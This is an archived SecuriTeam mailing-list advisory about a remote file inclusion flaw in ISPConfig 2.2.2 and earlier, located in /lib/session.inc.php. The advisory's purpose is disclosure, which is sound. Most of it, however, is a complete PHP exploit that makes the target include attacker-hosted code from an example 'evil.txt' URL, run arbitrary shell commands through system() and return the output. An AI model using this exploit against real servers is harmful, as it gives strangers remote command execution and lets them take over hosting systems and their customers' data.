[UNIX] ISPConfig Remote Command Execution
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 7 May 2006 15:28:28 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
ISPConfig Remote Command Execution
------------------------------------------------------------------------
SUMMARY
ISPConfig is a fully-fledged solution for multi-domain Internet hosts,
covering email, FTP, database and Web services through a nifty control
panel. Throw in security, customer management and a billing solution, and
it gets pretty attractive.
There is a remote file inclusion vulnerability that allows for remote
command execution.
DETAILS
Vulnerable Systems:
* ISPConfig versions 2.2.2 and prior.
There is a remote file inclusion vulnerability that allows for remote
command execution in the /lib/session.inc.php file.
The bug is here:
include($go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
"ispconfig_template.lib.php");
the $go_info["server"]["classes_root"] variable is not set prior to being
used in the include() function.
Vendor Status:
The vendor and support team have been contacted.
Exploit:
<?php
/*
ISPConfig Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url: http://www.xorcrew.net/ReZEN
example:
turl:
http://www.target.com/lib/session.inc.php?go_info[server][classes_root]=
hurl: http://www.pwn3d.com/evil.txt?
*/
$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];
$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\"
value=\"".$turl."\"><br>"
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\"
value=\"".$hurl."\"><br>"
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";
if (!isset($_POST['submit']))
{
echo $form;
}else{
$file = fopen ("test.txt", "w+");
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);
$file = fopen ($turl.$hurl, "r");
if (!$file) {
echo "<p>Unable to get output.\n";
exit;
}
echo $form;
while (!feof ($file)) {
$line .= fgets ($file, 1024)."<br>";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;
}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:wr0ck.lists@xxxxxxxxx>
wr0ck.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] MySQL Anonymous Login Handshake
- Next by Date: [NEWS] Gecko Based Browsers CSS Letter-Spacing Integer Overflow
- Previous by thread: [UNIX] MySQL Anonymous Login Handshake
- Next by thread: [NEWS] Gecko Based Browsers CSS Letter-Spacing Integer Overflow
- Index(es):
Relevant Pages
|
|